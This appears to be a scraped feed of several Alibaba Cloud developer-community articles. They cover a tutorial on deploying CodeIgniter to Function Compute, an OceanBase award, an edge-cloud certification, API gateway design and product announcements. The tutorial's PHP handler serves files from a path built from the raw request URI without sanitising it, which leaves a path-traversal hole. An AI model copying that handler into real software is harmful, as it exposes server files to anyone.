        阿里云函数计算 Function Compute(FC),旨在帮助用户采用弹性伸缩、动态分配资源的方式,来执行业务函数。让用户无需购买部署服务器,无需考虑业务负载,就能快速搭建可处理高并发的后台服务。
        本文介绍 HTTP 触发器快速迁移 CodeIgniter 应用到函数计算。函数计算运行 PHP 框架原理可以参考一下《十分钟上线-函数计算玩转 WordPress》。

        案例概览

        在本教程中,我们讲解如何利用函数计算一步一步来构建 Web 的 Server 端,该案例是把一个 CodeIgniter 部署到函数计算,本文旨在展示函数计算做 Web Backend 能力,具体表现为以下几点:

        完善的 PHP 系统迁移到 FC 的成本不高
        FC 打通了专有网络 VPC 功能,用户的函数可以配置访问专有网络的云资源,比如本案例中:nas
        案例体验入口:

        体验地址:http://support.mofangdegisn.cn/

        案例开发配置步骤

        1. CodeIgniter 项目同步到 nas 上

        在本地创建一个函数的根目录,在该目录下创建 template.yml 文件,内容如下:

        ROSTemplateFormatVersion: '2015-09-01'
        Transform: 'Aliyun::Serverless-2018-04-03'
        Resources:
          Wkhtmltopdf:
            Type: 'Aliyun::Serverless::Service'
            Properties:
              Role: 'XXXX'
              LogConfig:
                Project: XXX
                Logstore: XXX
              VpcConfig:XXX
                VpcId: 
                VSwitchIds:
                  - XXX
                SecurityGroupId: XXXX
              NasConfig:
                UserId: 10003
                GroupId: 10003
                MountPoints:
                  - ServerAddr: 'XXXX'
                    MountDir: /mnt/www
            CodeIgniter:
              Type: 'Aliyun::Serverless::Function'
              Properties:
                Handler: index.handler
                Runtime: php7.2
                CodeUri: './index.php'
              Events:
                 httpTrigger:
                     Type: HTTP
                     Properties:
                       AuthType: ANONYMOUS
                       Methods:
                          - GET

        当然您这边也可以使用fun工具提供的 NasConfig: Auto 配置,可以自动生成 nas 相关配置,具体步骤可以参考:https://yq.aliyun.com/articles/712693

        fun 工具进入之前创建的函数根目录下后执行,fun nas info 查看 nas 的相关信息

        image.png

        我们把 CodeIgniter 项目放在刚刚执行 fun nas info 命令查看到的本地 nas 录下。

        image.png

        最后使用 fun nas sync 将本地 nas 资源同步到 nas 服务:

        image.png

        使用 fun 工具把本地资源同步到 nas 上具体步骤可以参考:https://yq.aliyun.com/articles/712700

        1. 创建函数入口文件

        在函数根目录下创建一个 index.php 文件,文件内容如下:

        <?php
        #自定义的域名,绑定了自定义域名的,可以换成自己自定义的。
        $MY_HOST    = "support.mofangdegisn.cn";
        #web目录,CodeIgniter框架默认是根目录
        $WWW_DIR = '/mnt/www/CodeIgniter';
        
        function handler($request, $context){
        
            #如果不使用函数计算后台提供的域名,这句可以注释掉。
            if(strpos($request->getAttribute("requestURI"),"/2016-08-15/proxy") !== false) $request = clearFcHost($request,$context);#兼容 fc后台的url地址
        
            $uri  = $request->getAttribute("requestURI");
            $file = explode("?", $uri)[0];
            if($file=='/') $uri='/';#
            $file = $GLOBALS['WWW_DIR'].$file;
        
            if(file_exists($file) and $uri!='/'){
                if(strpos($uri,".php")) return php_run(basename($file), $request, $context);#php_run
                return static_run($uri);#static_run
            }
        
            $request = $request->withAttribute("requestURI", "?s=".$uri);
            return php_run('index.php', $request, $context);# php_run CodeIgniter框架入口 index.php
        
        }
        
        function php_run($name,$request, $context)
        {
            return $GLOBALS['fcPhpCgiProxy']->requestPhpCgi($request, $GLOBALS['WWW_DIR'], $name,['SERVER_NAME' => $GLOBALS['MY_HOST'], 'SERVER_PORT' => '80', 'HTTP_HOST' => $GLOBALS['MY_HOST']],['debug_show_cgi_params' => false, 'readWriteTimeout' => 15000]);
        }
        use RingCentralPsr7Response;
        function static_run($uri): Response{
            $file_dir = $GLOBALS['WWW_DIR'].$uri; #完整文件路径
            $file_dir = explode("?", $file_dir)[0]; #去掉动态路径
            if(is_dir($file_dir)) $file_dir .= '/index.html';# 可以这里定义目录的默认索引页
            $handle   = fopen($file_dir, "r");
            $contents = fread($handle, filesize($file_dir));
            fclose($handle);
            return new Response(200, ['Content-Type'  => $GLOBALS['fcPhpCgiProxy']->getMimeType($file_dir),'Cache-Control' => "max-age=8640000",'Accept-Ranges' => 'bytes'], $contents);
        }
        
        function clearFcHost($request,$context){
            $uri  = $request->getAttribute("requestURI");
            $uri  = str_replace("/2016-08-15/proxy/".$context['service']['name']."/".$context['function']['name'],"",$uri);
            $request = $request->withAttribute("requestURI", $uri);
            return $request;
        }
        
        #错误处理
        function error($code) {
            #if($resp->getStatusCode() !=200) return error($resp->getStatusCode());
            return 'Codelgniter框架测试~~';
        }

        执行 fun deploy 部署函数,部署成功如图!
        image.png

        最后给服务函数绑定自定义域名详情。

        总结

        函数计算有如下优势:

        • 无需采购和管理服务器等基础设施
        • 专注业务逻辑的开发
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 以事件驱动的方式触发应用响应用户请求
        • 毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力
        • 按需付费。只需为实际使用的计算资源付费,适合有明显波峰波谷的用户访问场景
        • 除了上面所列的优势,FC 可以做为 Web Backend,只需要编写一个函数实现传统 Web 服务器中的 conf 中的逻辑,就可以将一个完整的 Web 工程迁移到 FC ,从而从传统的 Web 网站运维,监控等繁琐的事务中解放出来。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        蚂蚁金服OceanBase荣获 “2019年度技术卓越奖”-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 日前,一年一度的IT168技术卓越奖评选结果公布,蚂蚁金服分布式关系数据库OceanBase荣获数据库领域“2019年度技术卓越奖”。IT168是国内最为资深的科技媒体之一,其年度评选具有很高的公信力,特别是在数据库领域,其专业性和权威性被业界广泛认可。

        1.png

        对于OceanBase的获奖,IT168给出的理由是——“OceanBase从双十一的实战中磨练而来,是一款能够服务金融业的通用的数据库,今年登顶TPC-C基准测试性能榜首,向世界证明了中国自研分布式数据库的高性能与高可用,有与Oracle等一较高下的能力。”

        2.png

        IT168在评选中指出,蚂蚁金服自研的金融级分布式关系数据库OceanBase,具有数据强一致、高可用、高性能、在线扩展低成本等特点。

        对于OceanBase来说,2019可谓硕果累累的一年。在2019年5月9日举行的中国数据库技术大会上,OceanBase被评为“年度最佳创新产品”。2019年10月2日,OceanBase一举打破Oracle“垄断”9年之久的TPC-C评测的世界纪录,tpmC高达6088万。2019天猫双11,OceanBase又一次创造了6100万次/秒的数据处理峰值世界纪录。2019年11月19日,OceanBase 2.2版正式发布,相较于2.0版其性能跃升50%以上,稳定性和兼容性也得到极大的提升。

        OceanBase是典型的“用出来”的数据库,它经历过最为严苛的极限场景的考验,比如双11、新春红包等。除了服务阿里巴巴 / 蚂蚁金服,自2017年开始,OceanBase已经对外商用,服务给了更多的外部客户,包括建设银行、南京银行、中国人保健康、西安银行等。

        附:OceanBase版本迭代演进史

        2010年:创始人阳振坤加入阿里巴巴,OceanBase正式立项。
        2011年:OceanBase 0.1版本发布,在淘宝收藏夹正式上线,使得淘宝收藏夹业务的数据库服务器数量大幅度减少。

        3.png
        OceanBase 0.1版本架构图

        2014年:OceanBase 0.5版本发布,引入Paxos协议保证主库故障不丢数据,成功替代Oracle在支付宝交易系统上线,支撑了双十一10%的流量。

        4.png
        ceanBase 0.5版本架构图

        2015年:OceanBase 0.5版本在支付宝的交易库和支付库上线,同年OceanBase上线网商银行,成为全球首个应用在金融核心业务系统的分布式关系数据库。
        2016年:OceanBase 1.0版本在支付宝账务系统上线,支撑起2016年双11中12万笔/秒的支付峰值。
        2017年: OceanBase发布1.4版本,功能持续完善,性能大幅提升,增加了转储功能、层次查询功能,并引入了并行索引创建技术。同时,支付宝首次把包括账务库在内的所有核心数据链路搬到OceanBase上,创造了4200万次/秒数据库处理峰值的全新纪录。同年,OceanBase 1.4版本成功在阿里巴巴/蚂蚁金服之外的商业银行上线。
        2018年: OceanBase 2.0版本正式发布。产品功能大幅增强,支持全局一致性快照,全局索引,索引实时生效,闪回查询,在线分区分裂等功能;同时兼容性全面提升,支持MySQL / Oracle双兼容模式,也是第一款支持存储过程的原生分布式数据库;在OLTP场景性能较1.4版本提升50%以上,存储成本下降30%。OceanBase 2.0版本全面降低了金融业务向分布式架构转型的技术风险。
        2019年:OceanBase 2.2版本全新发布。同时兼容MySQL以及Oracle两种模式的里程碑版本,并在Oracle模式中引入了许多广受欢迎的功能,性能和稳定性上也相对2.0版本有大幅提升。性能相比2.0版本提升50% 以上,部分复杂场景提升100%。并计划用两年时间做到 Oracle 业务的平滑迁移,不需要修改一行代码、不需要业务做任何调整就能够将数据库迁移过来。

        ]]>
        厉害了!阿里云首批通过边缘云标准符合性测试-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 12月16日,第九届中国云计算标准与应用大会于北京隆重召开。大会聚焦云计算产业新阶段面临的诸多挑战与机遇,从技术标准、技术解析、应用落地等方面进行深入的解读和探讨。

        会上,阿里云获得由中国电子技术标准化研究院颁发的首批《边缘云标准符合性测试证书》。这是业内权威机构首次开展边缘云领域的测评认证,对于产业上下游和技术服务商具有重要指导意义,也意味着阿里云在推进边缘云领域标准化建设上更进一步。

        边缘云颁证.jpg


        (右二为阿里云代表)

        边缘云计算可以将云计算的能力下沉到大量不同类型的边缘节点,充分利用边缘节点的本地化、广覆盖、近终端的特点,实现中心云和边缘云的统一管理和协同计算。由于边缘设备众多、差异化大,云服务商所采用的架构、技术存在一定的差异,边缘云计算的技术标准和应用场景也各具特色。

        5G时代到来,边缘云计算是激活5G商用潜能、连接上下游产业机会点、实现万物智联的关键技术,制定完善的边缘云计算标准和规范,对于促进技术创新、支撑云计算技术和促进产业链跨平台高效合作、推进产业高效发展将起到至关重要的作用。

        本次边缘云标准符合性测试是由中国电子技术标准化研究院,根据标准《信息技术 云计算 边缘云计算通用技术要求》中明确定义的技术要求进行测试与认证,以标准化的手段引导边缘云计算技术发展和促进产业应用。

        作为标准《信息技术 云计算 边缘云计算通用技术要求》的牵头单位,阿里云组织业内产学研用等单位进行研讨与编制工作。在该标准正式进入落地推广阶段后,阿里云作为国内第一、全球前三的云计算厂商,依托边缘节点服务(ENS)产品的技术领先性与对标准的高度符合性,积极配合中国电子技术标准化研究院完成了全部用例的编制,并顺利通过测试验收。其用例包含基础设施、基础设施服务能力、平台能力、应用服务能力、统一管控、安全要求等多个方向,获得权威机构的一致认可。

        目前,阿里云已经完成了从牵头制定完成业界首份《边缘云计算技术与标准化白皮书》,积极引领定义边缘云计算的概念和标准,到牵头编制边缘云计算标准《信息技术 云计算 边缘云计算通用技术要求》,推进厘清与规范边缘云计算系统的基础设施、服务能力、统一管控、接口安全等技术要求,再到完成边缘云技术标准化测试认证落地的完整标准化技术布局。这意味着阿里云边缘云计算相关产品在功能、性能、安全和管控能力等方面均达到了业内通用技术标准,可满足不同场景下的边缘云技术需求。同时也彰显了阿里云始终秉承全面拥抱标准化技术规范、营造开放的边缘云计算产业生态、积极推进边缘云领域健康发展的理念。

        image.png

        早在2018年4月,阿里云在业界率先推出边缘节点服务(Edge Node Service, ENS),此后,阿里云始终致力于打造无处不在的边缘云计算平台,将计算推进至用户10公里的边缘,并将飞天算力调度、容器、函数、安全、大数据与AI等技术能力进一步融合释放,使能场景化的城市计算。目前,阿里云已经完成国内30多个省份300+边缘计算节点的全域覆盖。

        基于阿里云在边缘计算领域先发优势以及创新性产品技术部署,边缘节点服务(ENS)已实现终端接入延迟低至5毫秒,为用户带来综合成本30%的减少,运维效率50%的提升。

        ]]>
        企业级Open API网关建设-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 封面.png
        作者 | 李鹏飞 阿里云开放平台技术专家,负责阿里云OpenAPI网关建设,致力于为用户提供高可用的OpenAPI服务。

        引言

        随着互联网技术以及微服务、Service Mesh的发展,API在近几年变得越来越重要,大部分的企业都开放了API,绝大多数的技术能力也可以通过API快速获取,比如图像识别、语音识别、资源操作等。
        要开放API,就会有一个API网关,互联网上每天数以亿次的API调用背后,除了有具体的API Service提供服务外,还有API 网关作为统一出入口来处理这些流量。
        image.png

        网关形态

        API 网关一般分为:

        1. 中心化
        2. 去中心化

        两类,主要区别如下:

        中心化 去中心化
        稳定性风险 有单点依赖风险,一旦网关故障,所有业务都将受到影响 单个网关故障后只影响单个服务,全局不受影响
        升级、维护成本 一份部署,易维护 每个服务独立部署一个网关,升级、运维成本高
        适用场景 承载较多业务场景、需要经常升级 承载业务简单、不经常升级、不同业务需要物理隔离

        得益于开发模型更简单、更易维护、易接入、且有多种手段来保障稳定性,中心化的网关服务更常见,被很多大型企业、API网关服务提供厂商采用,我们本次将分享中心化网关的建设。

        网关选型

        要开放API,常见的解决方案有3种:

        1. 云上的API Gateway类云服务,比如API Gateway,提供了开箱即用的API 网关服务;
        2. 基于开源API网关二次开发,如Kong
        3. 从零自建。

        三种解决方案的对比如下:
        截屏2019-12-16下午7.55.39.png

        核心能力

        要建设一个企业级的API网关绝非一件易事,需要大量的技术持续投入,由于篇幅有限,我们在这里只介绍几个最核心能力的落地思路:

        1. 网络层安全防护;
        2. 应用层流量控制;
        3. 稳定性。

        网络层安全防护

        image.png
        作为流量的统一出入口,网关是很容易受到各类攻击的,有一些是恶意攻击,比如游戏等行业就更容易受到一些恶意的攻击,也有一些是无意的带有攻击行为的流量,比如突发活动导致的大流量。
        常用的防护手段有:

        1. 四层防护;
        2. 七层防护;
        3. 流量清洗。

        四层、七层防护是两块涉及到攻防的专业领域,比如常见的有DDOS、基于IP的CC攻击等,这块需要有专门的技术投入建设的,如果没有资源投入的话,建议购买云上的高防服务来防护,要避免裸奔,没有任何防护的互联网应用是非常危险的,尤其是对于网关来说。
        以基于HTTP协议的API为例:

        • 我们需要针对不同的出口IP配置流量阈值,避免某个客户端出口IP占用过多流量而影响整个Endpoint,如果可以识别出用户身份还可以基于用户身份配置流控阈值
        • 如果为不同API服务提供了不同的Endpoint,我们还需要为每个Endpoint配置独立的流量阈值,避免单个Endpoint流量过大影响同集群的其他Endpoint
        • 除此之外,网络层还需要对后端Real Server进行保护,需要为后端集群配置集群防护阈值,避免有超过集群容量的流量进入集群,这里建议配置为基于单个Server的流控阈值,这样当集群动态扩缩容的时候这个阈值会自动变更,而不是配置为绝对值。

        有了四层、七层的防护,基本的防护能力就已经具备了,如果我们为每一个API服务或者每一个用户分配了一个Endpoint,通常多个Endpoint的流量会流入到同一个LVS设备,这个LVS设备受到四层攻击的时候我们就无法判断是由于哪个Endpoint导致的,这个时候就需要流量清洗能力,来分析出是攻击者是通过哪个Endpoint作为攻击点的,由于此类攻击一般都是自动跟随攻击,服务端切换一个新的LVS设备后攻击就会跟过来。应对措施主要流程如下:

        1. 使用二分法,将域名分成2份分别解析到2个LVS上;
        2. 判断攻击跟随到了哪个LVS上;
        3. 将跟随到的这个LVS继续使用二分法进行拆分,直到定位到攻击流量跟随的是哪个Endpoint;
        4. 将这个Endpoint拉到黑洞。

        这个流量清洗方案通常可以自己开发完成,但是需要有一个用于清洗的LVS设备池子,至此在网络层的防护就比较全面了,包含了IP、用户、Endpoint、集群、流量清洗。

        应用层流量控制

        image.png
        通过网络层防护对网关有了比较全面的防护,网关的处理能要比每个后端Service的处理能力要强,网关作为流量入口除了要保护好网关自身,还好保护好后端Service不受攻击,这个时候就要使用网关应用层流量控制了,在网关层需要支持为以下维度配置流控:

        1. 为每个Service租户配置流控阈值,确保每个后端服务收到的流量不会超过Service集群容量;
        2. 为每个API配置流控阈值,避免某个API占用了单个Service过多流量;
        3. 为每个用户配置Service、API粒度的流控阈值,避免单个用户占用过多流量;
        4. 为特殊用户配置特殊的流控配置,比如大用户等。

        过去,被很多人问到了应用层要如何做流控,要做一套完善的流控机制,还是需要不少投入的,对技术也有比较高的要求,流控一般有两个相互牵制的因素:性能、准确性,尤其是当单次请求流控维度非常多的时候,性能问题就会凸显出来,尤其是还要保障精度的时候,常用的方案有:

        1. 精准流控,基于Redis等分布式缓存的计数器能力进行控制;
        2. 单机流控,纯单机流量控制;
        3. 单机+分布式两段流控;
        4. 集群内部流控。

        基于分布式缓存的计数器模式是比较简单的流控方案,可以做到精准流控,但是当调用分布式缓存延迟比较高+流控维度过多后性能就会成为问题,这个地方有个技巧,缓存的KEY可以设置为业务Key+时间戳,比如秒级流控可以设置为:XXX_YYYYMMDDHHMMSS,根据这个Key通过调用一次远程计数器的Inc接口就可以完成一次精准流控,当业务体量不大,维度不多,但是需要支持精准流控的时候可以使用此方案。

        纯单机的流控也是一个比较常见的方案,由于不涉及到远程IO,性能是最好的,通常用于非精准流控场景,因为不均衡的流量分布、扩容、缩容等场景都会对流控准确度造成较大的影响,将流控总阈值平均分布到每个Server上,可以通过后台手动设置集群数量的方式,也可以使用自动化的集群Server数量自动感知模式来感知集群总Server数。

        单机+分布式缓存的两段式流控是集上面两种方案的优点的一种平衡解决方案,当流控水位比较低的时候采用单机流控,以取得更好的性能,当流控水位到达一定水位快满的时候,汇总所有本地流控计数信息后累加到分布式计数器中,并切换到分布式计数模式进行精准流控,此方案整体上在保障高精度的同时换取了更好的性能表现,通常分钟、小时、天级别的流控更适合采用这种模式。

        集群内部流控方式,也是一种精准流控模式,即在当前本地Server集群中选举一个计数Server,将远程计数IO切换到集群内部通信,在做到精准流控的同时获取更好的性能,这个方式在技术上会有更大的挑战,比如当技术Server重启、故障后如何保障精度等。

        流控方面在开源方面已经有了很多的解决方案,比如阿里开源的Sentinel综合实力是非常强的,支持多种计数模式,包含集群计数模式、滑动窗口等,其他开源解决方案还有Hystrix、resilience4j等。

        稳定性

        image.png
        网关对于稳定性SLA的要求是要比其他任何单个Service都要高的,比如网关的SLA是5个9,那么其他所有通过网关开放的API的SLA都不可能高于5个9。尤其是对于中心化部署的网关,一旦网关故障,造成的影响也是非常大的。所以需要通过一系列的稳定性保障体系来保障网关的稳定性,而不是只做到某个点就可以的,其中比较核心的几个点有:
        租户隔离:
        网关作为一个平台,会有很多租户接入,即不同的Service提供者,网关要做到不同租户之间的隔离,不能相互影响,典型的反例是:网关是基于线程模型的同步调用,且多个Service在同一个集群提供服务,当某个Service有大量慢调用的时候就会耗尽所有网关层的线程资源,导致整个集群中的服务不可用,导致雪崩。

        • 首先网关需要基于异步的模型,或者使用协程,网关做为一个网络IO密集型应用,一定要避免被某个远程调用影响。
        • 在租户层面可以考虑基于容器的隔离,为所有接入租户或者重要租户进行物理隔离。
        • 对链接进行隔离,比如基于HTTP的连接池,要为每个host设置默认的最大连接数量。
        • 基于线程池的隔离,实际在网关中应用较少,如果有适合的场景也可以考虑使用

        熔断降级:
        对于依赖的服务要有熔断降级机制

        • 网关的主要依赖就是后端Service,后端Service通常也是最不稳定的,比如高RT、大Request、大Response等。当某个后端服务、API指定异常数量超过一定数量后要自动降级,只放小流量到后端Service,通过小流量探测后端恢复正常后再恢复服务,避免单个Service、API的异常流量耗尽系统资源。
        • 除了Service外就是数据源、分布式缓存、认证系统等,当这些依赖服务异常后网关要有逃生能力,通常可以通过多级逻辑+物理缓存解决,比如本地缓存、分布式缓存、磁盘文件兜底等方案,当依赖服务故障后对于存量的业务网关依然可以继续提供服务。

        熔断也有一些开源的解决方案,比如阿里开源的Sentinel,除了支持流控,在熔断方面也是非常优秀的。
        巡检、自动化回归测试:
        网关作为开放API的平台,所有的能力都可以通过API调用完成自动化的测试、验证,是最适合做自动化回归测试、自动巡检的系统,一定要确保网关系统有完善的自动化测试Case,当API发布过程中进行验证,并在日常做巡检,一旦系统能力有任何问题,可以第一时间收到报警。
        容灾演练:
        将容灾演练日常化,在大版本发布的时候要有容灾测试,确保新代码没有破坏系统的容灾能力。

        除了这些以外,还要结合前面讲到的安全防护能力一起保障网关的稳定性

        总结

        要建设一个企业级的网关要先根据当前的环境选择适合的方案,不是所有的企业都需要自己从零建设自己的网关,一旦决定要做,是需要持续的技术投入的,本文只是重点介绍了建设网关中最重要的稳定性部分,作为网关稳定一定是第一位的,也是最难做的部分,本文作为一个引子,后续将会针对不同的细分领域进行分享。

        ]]>
        【阿里云新品发布·周刊】第28期:Web应用托管服务商业化首发--上云新方式,颠覆传统Web+-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

        新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多内容,了解更多

        让应用托管不再繁琐——Web应用托管服务(Web+)商业化发布

        2019年10月16日15时,Web应用托管服务商业化即将首发。Web应用托管将开启上云新方式,不仅可以解决上云应用上的各种疑难杂,自动化的全托管环境,与云上产品无缝集成,让应用托管不再繁琐;而且不收取任何平台费用
        《让应用托管不再繁琐——Web应用托管服务(Web+)商业化发布》,现场揭秘,不可错过!

        test

        产品动态

        新产品:云数据库 OceanBase - 分布式关系型数据库服务OceanBase 公测发布。查看产品 查看文档

        • 持续可用:采用 Paxos 协议,通过数据多副本,基于普通 PC 服务器实现主备自动切换,且不丢失一行数据(RPO=0,RTO<30秒)。
        • 兼容并包:同时兼容 MySQL 以及 Oracle 两种模式,原来的代码、应用程序只需做较小的改动就可以直接使用 OceanBase。
        • 久经验证:已经在蚂蚁金服所有核心金融场景中稳定运行多年,历经近十年双十一,支撑了一个又一个极限场景的考验。
        • 极致弹性:通过分布式事务以及全局时间,实现了计算能力以及存储空间的无限水平扩展,业务无需改动任何一行代码即可实现扩容。
        • 自主可控:与其他基于开源数据库(如 MySQL、PG 等)的产品不同,我们对所有的代码,包括核心代码拥有100% 的知识产权。
        • 卓越性能:支持业务快速的扩容缩容,同时通过准内存处理架构实现高性能,单集群最大数据量超过 3 PB,最大单表行数达万亿级。

        新产品:城市视觉智能引擎 - 【新产品】阿里云智能 城市视觉智能引擎 公测发布。 查看文档

        • 数据接入:实现视频图像数据的接入、编转码与分片服务,支持枪机、球机等点位的实时上线/下线,适配各种接入协议,如gb28181,gbt1400视图库等。
        • 数据计算:自研世界领先的计算机视觉检测、识别及分割等算法,支持数十万路级别的实时视频分析和千倍加速的离线视频分析,并支持序列计算、图谱计算及图形计算。
        • 视觉搜索:实现对视频中的目标、时间及事件等建立索引,支持高维向量、属性等半结构化/结构化数据的高效搜索,支持特征量化、异构索引加速等高效的索引技术。
        • 行业引擎:赋能公共安全、交通、市政综治、商业、司法、园区、电力能源、医疗教育等各个行业场景,整体提升城市运行效率。

        新版本/新规格:Web应用托管服务 - 商业化版本发布。 查看文档

        • 适用客户:有多语言应用托管诉求的个人开发者用户 / 小程序类应用的运维人员 / 具有在线业务的中小微企业 / 具有应用上云需求的长尾用户。

        新版本/新规格:音视频通信 - RTC Web SDK V1.9.1 公开发布,整体性能优化,支持官网公开下载。查看产品 查看文档

        • 支持使用Chrome浏览器发起屏幕共享,包括共享整屏或指定窗口。
        • 支持纯音频通信。
        • 支持通信前的设备选择和管理。
        • 兼容主流外接摄像头。
        • 修复V1.9.0离会不自动停止发送日志消息的问题。

        新版本/新规格:Web应用托管服务 - 代购资源支持包年包月的付费方式以及应用支持 HTTPS。查看文档

        • 代购资源支持包年包月的付费方式:ECS 可以在控制台使用,SLB 和 RDS 目前仅支持 CLI。
        • 支持 HTTPS:可以在 SLB 和反向代理层配置证书实现 HTTPS。

        新功能:DDoS高防IP - DDoS-V6.6.0.0 高防与阿里云CDN联动功能。 查看产品 查看文档

        • 通过高防跟阿里云CDN联动功能,打通DDoS高防和CDN产品,客户能够联动使用上述两个产品。客户业务无攻击时,可就近使用阿里云CDN节点加速,被攻击时,自动切换至高防进行防护。

        新功能:区块链服务 - AlibabaCloud BaaS VSCode插件发布上架。 查看产品 查看文档
        通过AlibabaCloud BaaS VSCode插件,用户可以直接完成如下的合约开发工作:

        • 提交本地智能合约到云端,进行智能合约安全扫描。
        • 打包本地的Fabric Chaincode,并部署到云端。
        • 激活云端的Fabric Chaincode(Instantiate/Upgrade Chaincode)。
        • 管理Fabric组织用户,包括创建新用户以及修改用户密码。
        • 下载connection profile到本地。

        新功能:密钥管理服务 - KMS重要功能发布:支持密钥版本管理和自动轮转。 查看产品
        查看文档--密钥轮转概述自动轮转密钥人工轮转主密钥
        通过AlibabaCloud BaaS VSCode插件,用户可以直接完成如下的合约开发工作:

        • 密钥管理服务发布对主密钥(CMK)的多版本支持,以及基于密钥版本进行加密密钥的自动轮转功能。密钥版本管理和轮转,是密钥安全实践最重要的一环,KMS通过内置版本能力和自动密钥轮转能力,极大的降低了用户在实现密钥轮转等安全策略时的研发成本。
        • 通过周期性轮转密钥,用户可以达成下列安全目标:1. 减少每个密钥加密的数据量;2. 提前具备响应安全事件的能力;3. 对同一个主密钥保护下的加密数据产生逻辑上的隔离;4. 减小破解密钥的时间窗口;5. 满足监管机构、行业标准中的安全合规规范。
        • 用户可以通过KMS的控制台,CLI,SDK等方式,对CMK进行手动轮转,或者配置自定义的自动轮转策略。详情请参考KMS文档。

        新功能:日志服务 - 阿里云平台操作日志(Inner-ActionTrail)公测发布。 查看产品 查看文档
        Inner-ActionTrail可以近实时地记录并存储阿里云平台操作日志(初期只提供OSS相关的平台操作日志),并基于日志服务,输出查询分析、报表、报警、下游计算对接与投递等能力,满足您平台操作日志相关的分析与审计需求。

        • 等保合规:存储网站六个月以上的平台操作日志,助力网站符合等保合规要求。
        • 实时分析:依托日志服务产品,提供近实时日志分析能力、开箱即用的报表中心,让您对平台操作日志的分布及细节了如指掌。
        • 实时告警:支持基于特定指标定制近实时的监测与告警,确保在关键业务发生变更时能第一时间响应。

        新功能:容器服务Kubernetes版 - K8s1.14.6升级功能。 查看产品 查看文档

        • 用户可将老版本的Kubernetes集群升级至最新的1.14.6。

        新功能:容器服务Kubernetes版 - 节点维护功能。 查看产品

        • 支持将节点设置为不可调度/排空节点,停止节点承接业务流量,处于维护状态。

        新功能:性能测试 - JMeter支持VPC-可进行VPC环境下更多协议类型的压测(诸如Dubbo,MQTT等)。 查看产品 查看文档

        • 利用JMeter协议和方法的灵活性,支持VPC环境来源的压测,可以提供更多压测方法和能力。

        新功能:性能测试 - 容量评估-助您评估线上容量极限点。 查看产品 查看文档

        • 容量评估可在压测过程中 实时判定系统容量最佳压力值、极限压力值以及破坏压力值,帮助客户智能判定当前系统容量。同时,为后续智能压测埋下能力伏笔,提供限流降级阈值的建议值。
        • 施压配置中打开容量评估功能,只需进行较少的配置,便可发起压测并实时判定系统能力。

        新功能:机器学习 - PAI blade模型推理优化能力公测。 查看产品 查看文档

        • PAI-Blade是阿里巴巴PAI平台针对深度学习模型开发的通用推理优化引擎。目前支持Tensorflow(包括Keras .h5模型),Caffe,及Onnx格式模型。
        • 对于阿里云用户,目前使用Blade的方式是通过EASCMD(参见:https://help.aliyun.com/document_detail/111031.html)命令行的方式提交优化任务至云端,所得优化结果将保存在云端并用于您后续的在线服务部署。

        新功能:CDN - 阿里云CDN支持IPv6协议。 查看产品 查看文档

        • 控制台集成IPv6开关,客户可直接开启。

        新功能:混合云容灾服务 - 混合云容灾(CDR) 3.0.0软件版发布,支持云上ECS容灾。 查看产品
        查看文档--跨地域容灾跨可用区容灾如何选择合适的容灾产品

        • 混合云容灾(CDR)发布3.0.0软件版本,针对小于或等于5个需要保护的服务器的本地机房小规模上云容灾环境,且客户有稳定的VMware或HyperV环境来运行CDR软件,可购买CDR 3.0.0软件版本,只需从阿里云HDR控制台下载软件版虚机镜像并部署在客户的vCenter(5.5以上)或HyperV即可。
        • 同时该软件版支持客户云上ECS跨地域/可用区容灾,提供秒级RPO,分钟级RTO的高性能容灾服务。

        新功能:云解析DNS - 阿里云DNS发布一站式域名检测工具。 查看产品 查看文档

        • 阿里云DNS发布一站式域名检测工具,可全面排查DNS污染、网站备案、工信部黑名单等一系列常见域名解析异常问题。

        新功能:云解析DNS - 阿里云解析DNS支持IPv6地址根据权重轮询解析。 查看产品
        查看文档

        • 阿里云解析DNS支持IPv6地址根据权重轮询解析。

        体验优化:风险识别 - 风险识别-优化用量与调用统计展示。 查看产品 查看文档

        • 通过整合资源包的用量及剩余用量,支持在风险识别产品控制台统一显示资源包的用量、消耗量及剩余量,余量信息显示更及时。

        最新发布

        函数计算2.0重磅发布

        2019年10月9日15时,函数计算2.0将重磅发布。函数计算2.0不仅性能更强的性能,而且价格最高可降幅70%-全新的计算方式、丰富的资源类型、灵活的自定义运行环境、全方位升级的工具链,Serverless拐点已至,等待你的加入!

        test

        技术解读

        1、Web应用托管服务新方式,0元平台费
        2、VPGAME的Kubernetes迁移实践
        3、应用上云新模式,Aliware 全家桶亮相杭州云栖大会
        4、阿里巴巴高级技术专家章剑锋:大数据发展的8个要点
        5、927小程序繁星计划峰会 · 看完这七大话题 你会更了解阿里小程序

        扫描二维码加入钉钉群

        5555

        你优秀,你来说!

        “基因行业解决方案”全民大讨论,“高富帅”走下神坛更撩人

        点击订阅!

        ]]>
        惊!赞!日志审计服务重磅发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        云上合规“保护伞”,一键开启日志审计服务


        test

        阿里云日志审计服务,提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。

        智能日志处理、分析一站式服务

        阿里云日志服务是行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。

        升级后的日志审计服务将全面提升海量日志处理能力,实现了实时自动化采集、多产品支持、跨账号支持、其他合规支持等功能。实时挖掘数据价值,智能助力研发/运维/运营/安全等场景。

        test

        云上合规“保护伞”,一键开启日志审计服务

        今年9月26日,日志服务发布阿里云平台操作日志(Inner-ActionTrail)公测。Inner-ActionTrail提供对平台操作日志相关的分析与审计功能可以近实时地记录并存储阿里云平台操作日志(初期只提供OSS相关的平台操作日志),并基于日志服务,输出查询分析、报表、报警、下游计算对接与投递等能力,满足您平台操作日志相关的分析与审计需求。

